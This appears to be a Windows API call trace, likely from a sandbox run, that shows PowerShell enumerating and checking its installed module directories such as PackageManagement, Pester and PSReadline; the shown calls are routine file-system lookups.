FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2a24d70 [0159.807] FindNextFileW (in: hFindFile=0x1cbf2a24d70, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.807] FindNextFileW (in: hFindFile=0x1cbf2a24d70, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0159.807] FindNextFileW (in: hFindFile=0x1cbf2a24d70, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0159.808] FindNextFileW (in: hFindFile=0x1cbf2a24d70, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester", cAlternateFileName="")) returned 1 [0159.808] FindNextFileW (in: hFindFile=0x1cbf2a24d70, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0159.808] FindNextFileW (in: hFindFile=0x1cbf2a24d70, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0159.808] FindNextFileW (in: hFindFile=0x1cbf2a24d70, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.808] FindClose (in: hFindFile=0x1cbf2a24d70 | out: hFindFile=0x1cbf2a24d70) returned 1 [0159.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0159.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0159.809] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0159.809] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0159.809] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0159.809] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0159.809] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0159.809] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0159.809] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0159.809] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0159.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.809] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0159.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0159.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.810] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0159.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0159.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.810] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester" (normalized: "c:\\program files\\windowspowershell\\modules\\pester"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0159.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0159.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.811] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.811] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0159.811] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0159.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.811] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0159.811] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0159.811] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0159.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2a24d70 [0159.812] FindNextFileW (in: hFindFile=0x1cbf2a24d70, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.812] FindNextFileW (in: hFindFile=0x1cbf2a24d70, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0159.812] FindNextFileW (in: hFindFile=0x1cbf2a24d70, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.812] FindClose (in: hFindFile=0x1cbf2a24d70 | out: hFindFile=0x1cbf2a24d70) returned 1 [0159.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0159.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0159.812] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0159.812] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0159.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0159.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0159.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0159.813] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0159.813] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0159.813] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0159.813] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0159.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0159.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab95588 | out: lpFileInformation=0x1cbdab95588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0159.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0159.813] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psd1")) returned 0xffffffff [0159.813] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psm1")) returned 0xffffffff [0159.813] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.cdxml")) returned 0xffffffff [0159.813] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.xaml")) returned 0xffffffff [0159.813] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.ni.dll")) returned 0xffffffff [0159.814] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.dll")) returned 0xffffffff [0159.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0159.814] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0159.814] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0159.814] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2a24a70 [0159.815] FindNextFileW (in: hFindFile=0x1cbf2a24a70, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.815] FindNextFileW (in: hFindFile=0x1cbf2a24a70, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x918c5369, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x918c5369, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0159.815] FindNextFileW (in: hFindFile=0x1cbf2a24a70, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.815] FindClose (in: hFindFile=0x1cbf2a24a70 | out: hFindFile=0x1cbf2a24a70) returned 1 [0159.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0159.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0159.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0159.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0159.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0159.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0159.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0159.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0159.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0159.816] 